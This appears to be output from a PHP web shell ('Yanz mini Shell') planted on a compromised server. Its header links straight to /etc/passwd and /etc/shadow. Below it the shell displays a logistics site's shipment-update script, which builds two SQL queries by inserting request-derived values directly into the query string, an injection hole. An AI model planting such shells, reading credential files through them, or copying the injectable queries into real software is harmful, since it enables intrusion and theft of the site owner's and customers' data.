Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php 
ob_start();
session_start();
include("inc/config.php");

/*if($_SESSION['user']['role']=='Modicare')
{
$clientId=$_SESSION['user']['id'];
$clientLocation=$_SESSION['user']['location'];
$clientType=$_SESSION['user']['role'];
}else
{
$session_id=$_SESSION['user']['id'];
$statement = $pdo->prepare("SELECT * FROM `tbl_user` WHERE id=1");
$statement->execute();
$response = $statement->fetchAll(PDO::FETCH_ASSOC);
 foreach($response as $res)
 {
$clientId=$res['id'];
$clientLocation=$res['location'];
$clientType=$res['role'];
 }
}

// var_dump($_POST);
	    $valid = 1;
        $cscs_awb='';
        $pl3_awb='';
        
    if(!empty($_POST['3pl_awb']))
    {
        
        $statement = $pdo->prepare("SELECT * FROM tbl_awb WHERE status=0 AND awb_code=?");
		$statement->execute(array($_POST['3pl_awb']));
		$rcount = $statement->rowCount();
        if($rcount>0){
        $statement = $pdo->prepare("UPDATE tbl_awb set status=1 WHERE awb_code=?");
		$statement->execute(array($_POST['3pl_awb']));
        }
    }
    
    
    if($_POST['cscs_awb']==$_POST['old_cscs_awb'])
    {
      $cscs_awb=$_POST['old_cscs_awb']; 
    }
    else
    {
        $cscs_awb=$_POST['cscs_awb']; 
    }
                            
    if($valid==1)
    {
        	$statement = $pdo->prepare("UPDATE pickup_entry set cscs_awb=?,courier_id=?,client_id=?,3pl_awb=?,ref_no=?,order_type=?,collectable_amount=?,boxes=?,
        	shipper_name=?,shipper_address=?,shipper_city=?,shipper_state=?,shipper_pincode=?,shipper_phone=?,
        	consignee_name=?,consignee_address=?,consignee_city=?,consignee_state=?,consignee_pincode=?,consignee_phone=?,
        	product_description=?,quantity=?,invoice_value=?,taxable_value=?,hsn_code=?,discount=?,gst_amount=?,mrp=?,ewaybill=?,
        	rto_name=?,rto_address=?,rto_city=?,rto_state=?,rto_pincode=?,rto_phone=?,a_weight=?,
        	c_weight=?,gst_rate=?,buyer_gst=?,seller_gst=?,date_added=?,business_mode=?,business_type=? 
        	WHERE id=? ");
	        $result=$statement->execute(array($cscs_awb,$_POST['courier_id'],$_POST['client_id'],$_POST['3pl_awb'],$_POST['ref_no'],$_POST['order_type'],$_POST['collectable_amount'],$_POST['boxes'],
	        $_POST['shipper_name'],$_POST['shipper_address'],$_POST['shipper_city'],$_POST['shipper_state'],$_POST['shipper_pincode'],$_POST['shipper_phone'],
	        $_POST['consignee_name'],$_POST['consignee_address'],$_POST['consignee_city'],$_POST['consignee_state'],$_POST['consignee_pincode'],$_POST['consignee_phone'],
	        $_POST['product_description'],$_POST['quantity'],$_POST['invoice_value'],$_POST['taxable_value'],$_POST['hsn_code'],$_POST['discount'],$_POST['gst_amount'],$_POST['mrp'],$_POST['ewaybill'],
	        $_POST['rto_name'],$_POST['rto_address'],$_POST['rto_city'],$_POST['rto_state'],$_POST['rto_pincode'],$_POST['rto_phone'],$_POST['a_weight'],
	        $_POST['c_weight'],$_POST['gst_rate'],$_POST['buyer_gst'],$_POST['seller_gst'],$_POST['date_added'],$_POST['pincode_mode'],$_POST['pincode_type'],
	        $_REQUEST['pickup_id']));
    }	       
        if($result)
		{
		    $txt='Success..! Shipment was Updated';
		    $error='0';
		}
		else
		{
		    $txt='Failed..! Try Again';
		    $error='1';
		}
        
          $datas[] = array('txt' => $txt, 'error' => $error);
     echo json_encode($datas); */    
 
 
 
if($_SESSION['user']['role']=='Modicare'){
    
$clientId=$_SESSION['user']['id'];
$clientLocation=$_SESSION['user']['location'];
$clientType=$_SESSION['user']['role'];

}else
{
$session_id=$_SESSION['user']['id'];
$statement = $pdo->prepare("SELECT * FROM `tbl_user` WHERE id=1");
$statement->execute();
$response = $statement->fetchAll(PDO::FETCH_ASSOC);
 foreach($response as $res)
 {
$clientId=$res['id'];
$clientLocation=$res['location'];
$clientType=$res['role'];
 }
}
$location=$_POST['location'];

// var_dump($_POST);
	    $valid = 1;

$cscs_awb='';
        $pl3_awb='';
    
    if(empty($_POST['courier_id']))
    {
        $courier_id='0';
    }
    else
    {
        $courier_id=$_POST['courier_id'];
    }
    
    if($_POST['autoGen']==1){
        $increment=1;
        do {
            $statement = $pdo->prepare("SELECT MAX(id) as big_id FROM pickup_entry");
			$statement->execute();
			$result = $statement->fetchAll(PDO::FETCH_ASSOC);
				foreach ($result as $row)
				{
				    $bid=$row['big_id'];
                    if($bid!='')
                    {
                        $awb_nos=$row['big_id']+$increment;
                        $cscs_awb=100000+$awb_nos;
                    }
                    else
                    {
                        $cscs_awb=100001;
                    }
				}
			$statement = $pdo->prepare("SELECT * FROM pickup_entry WHERE cscs_awb='$cscs_awb'");
			$statement->execute();
			$total_cscs = $statement->rowCount();
			$increment++;	
            } while ($total_cscs != 0);
            
          }
          else{
              
              $cscs_awb=$_POST['cscs_awb'];  }
				
				
        
    if(empty($_POST['3pl_awb'])) { 	$pl3_awb='';}
	else{ $pl3_awb=$_POST['3pl_awb']; }
                            
    if($valid==1)
    {
        
       $pickup_points = $_POST['pickup_points'];
        
        if($pickup_points!='' && $pickup_points!='all' && $pickup_points!='0'){
        
        $statementss = $pdo->prepare("SELECT * FROM tbl_pickup_points WHERE id='$pickup_points'");
		$statementss->execute();
		$resultss = $statementss->fetchAll();
		
		    $pickup_name = $resultss[0]['name'];
		    $pickup_address = $resultss[0]['address'];
		    $pickup_pincode = $resultss[0]['pincode'];
		    $pickup_city = $resultss[0]['city'];
		    $pickup_state = $resultss[0]['state'];
		    $pickup_phone = $resultss[0]['mobile_no'];
		    
		    $pickup_points = $pickup_points;
        
        }else{
           
             $pickup_name = '';
		    $pickup_address = '';
		    $pickup_pincode = '';
		    $pickup_city = '';
		    $pickup_state = '';
		    $pickup_phone = '';
		    $pickup_points =0;
            
        }
        
        
        
        
        
       /* $statement = $pdo->prepare("SHOW TABLE STATUS LIKE 'pickup_entry'");
		$statement->execute();
		$result = $statement->fetchAll();
		foreach($result as $row) {
			$ai_id=$row[10];
		}*/
        
        $branch_id = $_POST['branch_id'];
       
        
        
        error_log("Pickpoint Id ".$pickup_points);
        
        $client_id = $_POST['client_id'];
        $customer_id = $_POST['customer_id'];
        
        if($client_id!='' && $client_id!='all' && $client_id!='0'){
            
            
            $client_id = $_POST['client_id'];
        }else{
            $client_id=0;
        }
        
        if($customer_id!='' && $customer_id!='all' && $customer_id!='0'){
            
            $customer_id = $_POST['customer_id'];
        }else{
            $customer_id=0;
        }
        
        $pickup_entry_id = $_POST['pickup_entry_id'];
        
        
		$statement = $pdo->prepare("UPDATE pickup_entry SET autoGen=?,  courier_id=?,  client_id=?,  cscs_awb=?,  status_code=?,  
		3pl_awb=?,  ref_no=?,  order_type=?, boxes=?, collectable_amount=?, 
		shipper_name=?, shipper_address=?, shipper_city=?, shipper_state=?, shipper_pincode=?, 
		shipper_phone=?, consignee_name=?, consignee_address=?, consignee_city=?, consignee_state=?, 
		consignee_pincode=?, consignee_phone=?, product_description=?, quantity=?, invoice_value=?, 
		taxable_value=?, hsn_code=?, discount=?, gst_amount=?, mrp=?, 
		ewaybill=?, rto_name=?, rto_address=?, rto_city=?, rto_state=?, 
		rto_pincode=?, rto_phone=?, a_weight=?, c_weight=?, gst_rate=?, 
		buyer_gst=?, seller_gst=?, date_added=?, business_mode=?, business_type=?, 
		branch_id=?,  pickup_points=?, customer_id=?, pickup_name=?, pickup_address=?, 
		pickup_pincode=?, pickup_city=?, pickup_state=?, pickup_phone=?, new_client_id=? WHERE id=?");
		
		
		
	$result1=$statement->execute(array($_POST['autoGen'],$courier_id,$client_id,$cscs_awb,1,
		$pl3_awb,$_POST['ref_no'],$_POST['order_type'],$_POST['boxes'],$_POST['collectable_amount'],
		$_POST['shipper_name'],$_POST['shipper_address'],$_POST['shipper_city'],$_POST['shipper_state'],$_POST['shipper_pincode'],
		$_POST['shipper_phone'],$_POST['consignee_name'],$_POST['consignee_address'],$_POST['consignee_city'],$_POST['consignee_state'],
		$_POST['consignee_pincode'],$_POST['consignee_phone'],$_POST['product_description'],$_POST['quantity'],$_POST['invoice_value'],
		$_POST['taxable_value'],$_POST['hsn_code'],$_POST['discount'],$_POST['gst_amount'],$_POST['mrp'],
		$_POST['ewaybill'],$_POST['rto_name'],$_POST['rto_address'],$_POST['rto_city'],$_POST['rto_state'],
		$_POST['rto_pincode'],$_POST['rto_phone'],$_POST['a_weight'],$_POST['c_weight'],$_POST['gst_rate'],
		$_POST['buyer_gst'],$_POST['seller_gst'],$_POST['date_added'],$_POST['pincode_mode'],$_POST['pincode_type'],
		$branch_id,$pickup_points,$customer_id,$pickup_name,$pickup_address,
		$pickup_pincode,$pickup_city,$pickup_state,$pickup_phone,$_POST['new_client'], $pickup_entry_id));
		
		
		$ai_id = $pdo->lastInsertId();
	
		
		
			/*Tracking Module Start*/
		/*$statement = $pdo->prepare("INSERT INTO tbl_tracking (pickup_entry_id,user_id,location,status,status_code,description,remark,created_at) VALUES (?,?,?,?,?,?,?,?)");
		$result2=$statement->execute(array($ai_id,$_POST['client_id'],$location,'picked','1','Shipment Softdata Created Successfully','Material Safe...',$_POST['date_added']));*/
		
		
	if(isset($_POST['length'])){	
		
		for($i=0; $i<count($_POST['length']); $i++){
		    $length = $_POST['length'][$i];
		    $width = $_POST['width'][$i];
		    $height = $_POST['height'][$i];
		    $no_of_box = $_POST['no_of_box'][$i];
		    $actual_weight = $_POST['actual_weight'][$i];
		    $charged_weight = $_POST['charged_weight'][$i];
		    $final_total_charges = $_POST['final_total_charges'][$i];
		    $volumetric_id = $_POST['volumetric_id'][$i];
		    
		    
		    if($volumetric_id==0){
		    
		    $statement = $pdo->prepare("INSERT INTO `tbl_volumetrix_weight`(`pickup_id`, `length`, `width`, `height`, `no_of_box`, `actual_weight`, `charged_weight`, `fin_charges_weight`) VALUES (?,?,?,?,?,?,?,?)");
		    $results = $statement->execute(array($pickup_entry_id, $length, $width, $height, $no_of_box, $actual_weight, $charged_weight, $final_total_charges));
		    
		    }else{
		        
		        $statement = $pdo->prepare("UPDATE  `tbl_volumetrix_weight` SET  `length`=?, `width`=?, `height`=?, `no_of_box`=?, `actual_weight`=?, `charged_weight`=?, `fin_charges_weight`=? WHERE id=?");
		        $results = $statement->execute(array($length, $width, $height, $no_of_box, $actual_weight, $charged_weight, $final_total_charges, $volumetric_id));
		    
		        
		    }
		    
		    
		    
		} 
	    
	}
		
		
	
    }	                    if($result1==1)
							{
							    $txt='Success..! Shipment Updated';
							    $error='1';
							}
							else
							{
							    $txt='Failed..! Try Again';
							    $error='0';
							}
                            
                              $datas[] = array('txt' => $txt, 'error' => $error,'awb_number'=>$cscs_awb,'p_id'=>$ai_id);
                              
                         echo json_encode($datas);                           
	
?>